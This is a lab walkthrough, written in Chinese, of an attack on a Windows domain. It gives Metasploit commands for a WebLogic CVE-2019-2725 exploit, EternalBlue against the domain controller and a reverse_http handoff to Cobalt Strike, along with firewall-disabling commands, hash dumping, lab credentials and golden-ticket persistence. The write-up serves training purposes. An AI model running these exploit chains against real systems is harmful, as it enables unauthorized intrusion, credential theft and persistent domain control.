一、靶场环境

靶场下载地址

  • kali:192.168.111.9 和win10:192.168.111.1
  • win2008(web):192.168.111.80 10.10.10.80 本地用户:de1ay:1QAZ@WSX
  • win2012(DC):10.10.10.10 域用户:de1ay\de1ay:1qaz@WSX
  • win7(PC):192.168.111.201 10.10.10.201 域用户:de1ay\mssql:1qaz@WSX

防火墙均开启,且win2008和win7有360(但不知道啥原因,不起效果,可能虚拟机缘故?)

  • 拓扑结构如下
  • 连通性如下

二、实战

2.1 探测PC1

nmap -Pn -T5 192.168.111.0/24

发现一个开放80的机器,信息扫描一下
nmap -Pn -sT -sV -p- -T4 192.168.111.80

探针web开启了weblogic服务,访问一下

扫描一下有没有历史漏洞
python .\WeblogicScan.py 192.168.111.80 7001

存在cve2019-2725,直接利用msf打

1
2
3
4
5
6
search CVE-2019-2725
use 0
set rhosts 192.168.111.80
set lhost 192.168.111.9
set target Windows
run

  • 委派给cs
    1
    2
    3
    4
    5
    6
    7
    8
    use exploit/windows/local/payload_inject
    set payload windows/meterpreter/reverse_http
    set session 2
    set lhost 192.168.111.9
    set lport 80
    set DisablePayloadHandler true 用来禁用MSF的监听,因为要监听到cs上
    run
    CS要配置监听器
  • 上线CS
  • 提权
  • 提权成功

2.2 信息收集

  • 用户信息(当前一个系统权限、一个本地管理员权限)
  • 查看网卡信息

    还有一个10.10.10.0/24网段
  • 防护软件
    netsh advfirewall show allprofiles 查看防火墙是否开启

    netsh advfirewall set allprofiles state off 关闭防火墙
    看了看进程还有防护(但是没起作用)
  • 域信息
    shell net config workstation

    shell net user /domain 查域用户
    shell net time /domain 查域控
    net group "domain admins" /domain 查域管
    net group "domain controllers" /domain 查域控
    不是域用户获取不了
  • 抓取密码
  • 探测其他目标
  • 发现域控和一台PC

2.3 内网渗透

2.3.1 ARP端口扫描



尝试永恒之蓝打一下DC

  • 需要先添加路由
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    添加路由
    sessions 1
    run post/multi/manage/autoroute

    添加代理
    use auxiliary/server/socks_proxy
    run

    vi /etc/proxychain.conf 添加如下
    socks5 127.0.0.1 1080

2.3.2 永恒之蓝拿下域控

1
2
3
4
5
6
search ms17-010
use 1
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set lport 5555
run
  • 竟然成功了
  • 抓取hash(run windows/gather/smart_hashdump)
  • 去试试破解

    拿下三个域用户凭据
    administrator:1qaz@WSX
    mssql:1qaz@WSX
    de1ay:1qaz@WSX
    添加到CS凭据

2.3.3 横向移动

  • 添加TCP监听器
  • 攻击域控
  • 拿下域控
  • 在域控收集信息
    shell net user /domain
    shell net group "domain admins" /domain
  • 横向另外的pc

    失败了
  • 拿域管理员试试

    成功拿下PC

2.3.4 至此全部拿下

2.3.5 在PC上进行信息收集


发现pc有双网卡,且可以出网

生成反向木马上传,执行(不知道啥问题,那个360不生效)

2.3.6 反弹上线pc

2.4 权限维持

前面我们拿到了krbtgt用户的hash,可以制作黄金票据注入到会话中去

原理:在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

使用场景:当我们拿到这个域内的某个低权限即域内成员的账号权限时候,可以利用制作好的票据进行提权攻击。

  • 先获取一下域的SUID(whoam /user或者猕猴桃抓取)

    S-1-5-21-2756371121-2868759905-3853650604-1001
  • 生成黄金票据注入会话
  • 注入成功
  • 验证

    成功读取到域控信息

2.5 娱乐(看看视图)

三、总结

3.1 知识面

  1. 中间件welogic漏洞利用
    WebLogic是一个JAVAEE中间件,默认端口7001或7002,控制台访问http://xxxx:7001/console
    漏洞类型:
  1. 提权
    windows提权-腾讯云开发者社区-腾讯云 (tencent.com)
  2. 免杀(防护没起效果,估计是虚拟机里版本太老了,就打下来了)(也算是初探免杀吧)
    初探shellcode免杀 - FreeBuf网络安全行业门户
  3. 内网横向
    我用了系统漏洞打的,当然也可以用ZeroLogon(CVE-2020-1472)
    ZeroLogon(CVE-2020-1472) - cAr7n - 博客园 (cnblogs.com)
  4. CobaltStrike的深入使用学习
    CobaltStrike使用
  5. 权限维持
    域渗透之黄金票据与白银票据 - FreeBuf网络安全行业门户

3.2 攻击流程

  1. 通过weblogic漏洞打下web后,抓取到本地管理员密码,但是机器属于域内,没抓到域用户信息
  2. 最后探测内网,通过系统漏洞MS17-010打下域控,抓取到域内账密,然后再进行的web横向
  3. 整个过程还是比较艰难,刚开始没思路,后面想到可以扫漏洞,然后试了试,可行,但是刚开始没注意到域管理员信息,导致PC一直,打不下来,通过代理远程桌面,发现de1ay\de1ay:1qaz@WSX没权限登录
  4. 后面转回去又翻了翻,发现域管账密也抓到了,那就直接域管横向拿下PC
  5. 后面在PC上,又发现还有一个网卡,可以域VPS通信,直接生成反向木马上传,回连,又通过PC连到DC上,可以说是一种维持的方式把
  6. 后面又做了黄金票据维持权限